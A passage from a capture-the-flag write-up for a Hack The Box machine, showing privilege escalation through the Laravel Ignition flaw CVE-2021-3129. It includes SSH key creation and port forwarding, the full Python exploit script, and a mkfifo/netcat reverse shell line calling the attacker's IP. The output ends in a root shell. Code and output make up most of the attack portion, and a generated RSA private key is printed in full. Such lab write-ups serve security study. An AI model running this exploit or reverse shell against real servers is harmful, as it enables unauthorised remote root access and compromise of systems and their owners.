                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M3.055 11H5a2 2 0 012 2v1a2 2 0 002 2 2 2 0 012 2v2.945M8 3.935V5.5A2.5 2.5 0 0010.5 8h.5a2 2 0 012 2 2 2 0 104 0 2 2 0 012-2h1.064M15 20.488V18a2 2 0 012-2h3.064M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold text-gray-900 dark:text-white">Vibrant Ecosystem</div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel's robust library of first-party tools and libraries, such as <a href="https://forge.laravel.com" class="underline">Forge</a>, <a href="https://vapor.laravel.com" class="underline">Vapor</a>, <a href="https://nova.laravel.com" class="underline">Nova</a>, and <a href="https://envoyer.io" class="underline">Envoyer</a> help you take your projects to the next level. Pair them with powerful open source libraries like <a href="https://laravel.com/docs/billing" class="underline">Cashier</a>, <a href="https://laravel.com/docs/dusk" class="underline">Dusk</a>, <a href="https://laravel.com/docs/broadcasting" class="underline">Echo</a>, <a href="https://laravel.com/docs/horizon" class="underline">Horizon</a>, <a href="https://laravel.com/docs/sanctum" class="underline">Sanctum</a>, <a href="https://laravel.com/docs/telescope" class="underline">Telescope</a>, and more.
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="flex justify-center mt-4 sm:items-center sm:justify-between">
                    <div class="text-center text-sm text-gray-500 sm:text-left">
                        <div class="flex items-center">
                            <svg fill="none" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" stroke="currentColor" class="-mt-px w-5 h-5 text-gray-400">
                                <path d="M3 3h2l.4 2M7 13h10l4-8H5.4M7 13L5.4 5M7 13l-2.293 2.293c-.63.63-.184 1.707.707 1.707H17m0 0a2 2 0 100 4 2 2 0 000-4zm-8 2a2 2 0 11-4 0 2 2 0 014 0z"></path>
                            </svg>

                            <a href="https://laravel.bigcartel.com" class="ml-1 underline">
                                Shop
                            </a>

                            <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="ml-4 -mt-px w-5 h-5 text-gray-400">
                                <path d="M4.318 6.318a4.5 4.5 0 000 6.364L12 20.364l7.682-7.682a4.5 4.5 0 00-6.364-6.364L12 7.636l-1.318-1.318a4.5 4.5 0 00-6.364 0z"></path>
                            </svg>

                            <a href="https://github.com/sponsors/taylorotwell" class="ml-1 underline">
                                Sponsor
                            </a>
                        </div>
                    </div>

                    <div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
                            Laravel v8 (PHP v7.4.18)
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

Aha Laravel v8! A quick google and we find CVE-2021-3129. At this time we do not know if the service is running as the developer user or root or something else but it’s worth a try. We are currently the strapi user so either way we could probably get some new permissions by exploiting this service.

Examining prerequisites for CVE-2021-3129

There are several PoC:s for this one and after some testing I decided to go for this https://github.com/zhzyker/CVE-2021-3129 Let’s just clone it down to the attacker machine.

┌──(root💀bd5737a0ce49)-[/]
└─# git clone https://github.com/zhzyker/CVE-2021-3129.git
Cloning into 'CVE-2021-3129'...
remote: Enumerating objects: 337, done.
remote: Counting objects: 100% (337/337), done.
remote: Compressing objects: 100% (233/233), done.
remote: Total 337 (delta 62), reused 318 (delta 55), pack-reused 0
Receiving objects: 100% (337/337), 1.72 MiB | 6.49 MiB/s, done.
Resolving deltas: 100% (62/62), done.

After a quick look at the exploit script I realise that we do not have all tools available on the target machine to run it. So now I need to expose that 8000 port outside the target box. There’s no socat on the target machine. Let’s see if I can enable ssh for the strapi user on the target and do some port forwarding.

Port forwarding with SSH

$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/opt/strapi/.ssh/id_rsa):

Created directory '/opt/strapi/.ssh'.
Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /opt/strapi/.ssh/id_rsa.
Your public key has been saved in /opt/strapi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:0V6SSNBq2D3ztjz4LOFgUQwIQCxqttVx8QF2CJ/NUSE strapi@horizontall
The key's randomart image is:
+---[RSA 2048]----+
|+o.. o+O=E.o.    |
|..  ..o+Xo+.     |
|o   .oo*o++ .    |
|.o ...= +o o     |
|o o  . .S+.      |
| .    o . o      |
|     . o = .     |
|        +.+      |
|         oo.     |
+----[SHA256]-----+
$ cat /opt/strapi/.ssh/id_rsa
cat /opt/strapi/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAm/TDfDj4KcA1Alg/EiEju1mK8/bW09SAP+TmSjKvNalIkGnF
7X5YSUSSbIkHFC7GNY08nd0ES2IC8OtkE549sHQwjgX+6OIOeYwpOzsx3/1xRLwy
ZKDhEwa8z2k3IsFEbvPtn5qzOP0wznPE9EtVq2+s8vNxEeWINp05Cchd1rDT6AmI
Ck6Vljhejkk3eG3zwH3Oe8yw/Mup2HWbf8djAA0VQ0EpU2gzHpcSSJL4waDMpTnw
mzL0NTbfNqE4nwvbUuOW6EoH+mCXtjBPjUbUkY+7ivcRw/BI7rnryq/S53Ou1j/T
LC5vz/B2lQvW9H+trpeS+QfqT0a3fuyqyZgKTwIDAQABAoIBAGWzvm+Z7yu67laz
GZ5HAjhA8n6aMAo//8qrCQrF9sB1vp5+e9aemBBfqWUiDv24awWtLyR7ZzuJlQVr
W/33KZ+Shb94ZX2VPX9CSfkYZzP84QrD99DroRt5P1O693uwsWHxrLpydgHqCxP3
Jy9wmVONJinhW5EiMCv9Z57bjWZdMW8V6Kjsb/MlRPsZ61e4Dek/WucD17VlWpOK
O50dolRwXIuqIKyRdVLDZdEG6C8O2sRC4PMwU2m45ZJHsufVcdK96JPshRFECnyW
ZRF0c5gdcPoHV/nHivX1mnlgqX5PAKXLZ2GxNKWA1ngqPVSMe0+2f4HxRiX9hs6g
p7xhrXECgYEAzvWH/I/E0hp7gWShr7/favUMTrLv78faP64RliRniOWW7J5d3oys
M7w+uExAFF8XLlBohyR9gUjMX9+9+G7Z2thFpYCCMxUg3XnCIPYILd8v+cByVdKt
0TBBqmVR4a5H1lrQFRA/rDeHtSvb6oWizaPvm1idbp49ENuxuWcME40CgYEAwOlP
Mc24cb8bFevtn0/Il20qVlTqa2YaOwsCpAwq2ArY9rMOXrsTukImjyyWNloiJgWS
l/5Wn7RP27KrrjcR2YTch8p9LbE8u+XDEvpVfZ0zAVkXF+r8KjNd7s/o9vGl2xzt
GyCEechR+ELb6TrMiQq6qSSofa9EQI4sNJMLkEsCgYB9sZucpciY/mKCTJbygar0
b83AwmZ9D7kaseKWeJe1ChOms+w47ODtLug80HqepL4Ub9t8MIpVCdyuYdoj11dS
1cU+5hStZ6ilOnzPvf1rtsCRg/Ms8p6EjTVkgtK/KTUSF+eG026IbtVqEDApeG5P
TMCKbcB33X0jDvsaql4oRQKBgQCnxgFHOjhQTLlcvlxh8nxtHdb1UFKz5w+nC/NX
AvH8BKsfGyjDQIZutftdB5T4XjlWwf/1SpDBwoq1ctWW5XQTrlYxjuyBYaSFcdTP
W4IghigG4xmPhqGafiQSfyWIJy9sueKIdiZg19RaSqOBWs7p3LfsROJ4tIZycnOF
oeErswKBgQC4l8fSVr+IxMbyFTLyRW1Dp54BPaYJ0cEc30PP1y0ETxa/IgLVH6SF
ipv4LegfPyTsYvx/lDaHGRN8ELMDy+p3RJf+KBOtsmGE2SX+A4NA1UWI38zBlWqi
8SjG2qzQwJDYOl0IVv+7FgzZmEXRrPxETxkukAZkmzh2Qac1ZgJL1Q==
-----END RSA PRIVATE KEY-----
$ cat /opt/strapi/.ssh/id_rsa.pub > /opt/strapi/.ssh/authorized_keys
cat /opt/strapi/.ssh/id_rsa.pub > /opt/strapi/.ssh/authorized_keys

Let’s see if we can login.

┌──(root💀bd5737a0ce49)-[/]
└─# ssh -i id_rsa [email protected]
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug 29 13:42:30 UTC 2021

  System load:  0.25              Processes:           174
  Usage of /:   82.2% of 4.85GB   Users logged in:     0
  Memory usage: 42%               IP address for eth0: 10.129.195.67
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Aug 29 13:31:11 2021 from 10.10.14.69
$

Yippee ki yay it works!!! Well that shell sucks big time when delete and several other keys does not work. But we are only going to use it for portmapping so let’s do that by forwarding port 8000 on the target to 8001 on the attacker machine.

┌──(root💀bd5737a0ce49)-[/]
└─# ssh -i id_rsa -L 8001:localhost:8000 [email protected]
bind [::1]:8001: Cannot assign requested address
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug 29 13:43:04 UTC 2021

  System load:  0.38              Processes:           175
  Usage of /:   82.2% of 4.85GB   Users logged in:     0
  Memory usage: 42%               IP address for eth0: 10.129.195.67
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Aug 29 13:42:30 2021 from 10.10.14.69
$

Let’s see if our port forwarding worked and we can reach the target 8000 port on 8001 at the attacker machine.

┌──(root💀bd5737a0ce49)-[/]
└─# curl localhost:8001 --head
HTTP/1.1 200 OK
Host: localhost:8001
Date: Sun, 29 Aug 2021 13:44:34 GMT
Connection: close
X-Powered-By: PHP/7.4.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Sun, 29 Aug 2021 13:44:34 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Inc3ZTUxVU9NNVF3K0hnTzRRUFBlTGc9PSIsInZhbHVlIjoiNzc4R1ZYRUl2T1NPc29OMUZKcUo3ck9vak5EYjZDKzRjYitvaE8zMGxTN25iaVVpQkVRUU9kRjc4OWFoL1F0VzJPWW44cXdHY1hKRWNGUVVtWWZCcHo1eDNVSnZzK3Y5bi9TRmV3QU96R1RHcUpIQjV0eHhURmZYNmI2WlA0NVciLCJtYWMiOiIzNDJhNWFlYjE4Njk5NTQzNzIxMGQyZTBiNTU2OWY4YzVkYzNkN2NlNDBmMDE0YWNlYzRlZWI1YzIzOGE3ZjQxIn0%3D; expires=Sun, 29-Aug-2021 15:44:34 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Ik9KaTNXR25MVzZKTi9CUytERjJreGc9PSIsInZhbHVlIjoiazVIN3FjU2lNUCtZVEtjUThvNE5QV3VXc1dqU0IrUTk4MHV1YXdXM3c3bWhLNjFsTVZ6N1BBdVl3ZUJpcmZ0a2VpVFl2QUFPZUkyQS81bnRVV2ppUFBicWh5d3RydmNZNE80MzRleEFWOUFWa1Z5ZGlZQ04raG1UNU1kM3dxM1AiLCJtYWMiOiI3YzA2MDljNWY5NjY5MjVmYzczZGRjMDgwODJjMzlkNWVhMWZjZDE4MjgzMmI2MGEzZDQwMmY1NDU0OGVlMDk1In0%3D; expires=Sun, 29-Aug-2021 15:44:34 GMT; Max-Age=7200; path=/; httponly; samesite=lax

Yes that seems to work. Now back to the exploit. Let’s just execute it as is:

Using CVE-2021-3129 for RCE in Laravel

┌──(root💀bd5737a0ce49)-[/CVE-2021-3129]
└─# python3 exp.py http://127.0.0.1:8001
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:


[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:


[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE6 for exploitation.
[+]exploit:
[*] Laravel/RCE6 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE7 for exploitation.
[+]exploit:
[*] Laravel/RCE7 Result:


[*] Try to use Monolog/RCE1 for exploitation.
[+]exploit:
[*] Monolog/RCE1 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Monolog/RCE2 for exploitation.
[+]exploit:
[*] Monolog/RCE2 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Monolog/RCE3 for exploitation.
[+]exploit:
[*] Monolog/RCE3 Result:


[*] Try to use Monolog/RCE4 for exploitation.
[+]exploit:
[*] Monolog/RCE4 Result:

Well that was a success in many of the cases. The service seems to be running as root. Bingo! RCE2 seems to work so let’s open up the python program and change that RCE2 (the first one that works) to generate a reverse shell.

We change system id into 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.69 5555 >/tmp/f' and the complete program now looks like this.

# -*- coding=utf-8 -*-
# Author : Crispr
# Alter: zhzyker
import os
import requests
import sys

class EXP:
    #这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用
    __gadget_chains = {
        "Laravel/RCE1":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE1 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE2":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE2 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.69 5555 >/tmp/f' --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE3":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE3 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE4":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE4 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE5":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('id');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE6":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system('id');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE7":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE7 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE1":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE1 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE2":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE2 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE3":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE3 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE4":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE4 id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
    }

    def __vul_check(self):
        res = requests.get(self.__url,verify=False)
        if res.status_code != 405 and "laravel" not in res.text:
            print("[+]Vulnerability does not exist")
            return False
        return True

    def __payload_send(self,payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload

        #print(data)
        res = requests.post(self.__url, headers=header, json=data, verify=False)
        return res

    def __clear_log(self):
        payload = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
        return self.__payload_send(payload=payload)

    def __generate_payload(self,gadget_chain):
        generate_exp = self.__gadget_chains[gadget_chain]
        #print(generate_exp)
        exp = "".join(os.popen(generate_exp).readlines()).replace("\n","")+ 'a'
        print("[+]exploit:")
        #print(exp)
        return exp

    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

    def __rce(self):
        text = str(self.__unserialize_log().text)
        #print(text)
        text = text[text.index(']'):].replace("}","").replace("]","")
        return text

    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('A' * 2)
            self.__payload_send(self.__generate_payload((gadget_chain)))
            self.__decode_log()
            print("[*] " + gadget_chain + " Result:")
            print(self.__rce())

    def __init__(self, target):
        self.target = target
        self.__url = requests.compat.urljoin(target, "_ignition/execute-solution")
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()

def main():
    EXP(sys.argv[1])

if __name__ == "__main__":
    main()

Now let’s start up a netcat listener on 5555.

PS C:\Users\f1rstr3am> ncat -lvp 5555
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555

Let’s try the exploit again.

┌──(root💀bd5737a0ce49)-[/CVE-2021-3129]
└─# python3 exp.py http://127.0.0.1:8001
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:


[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:ell

This time it stops at RCE2, that’s a good sign, let’s check the listener.

PS C:\Users\f1rstr3am> ncat -lvp 5555
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.129.195.67.
Ncat: Connection from 10.129.195.67:36304.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# cat root.txt
deadbeefdeadbeefdeadbeefdeadbeef
#

I got my shell and I am root. All is done here.

Summary

This box was rated easy. I do not really agree on that rating. Everything was based upon known CVE:s so in that sense it was easy. But I was operating blind when trying the different PoC:s and some did not work right out of the box.

Personally I would have rated this one medium but I might just be my confusion around the first RCE that hade me struggling. Anyway I think it was a nice box even if did not learn anything new apart from one thing:

If a PoC of an exploit does not behave as expected always change header fields, parameters, encoding, escape character and fire, fire, fire and fire again. Sometimes you are more lucky with that than thinking too much. :)

/f1rstr3am

Christian

HTB THM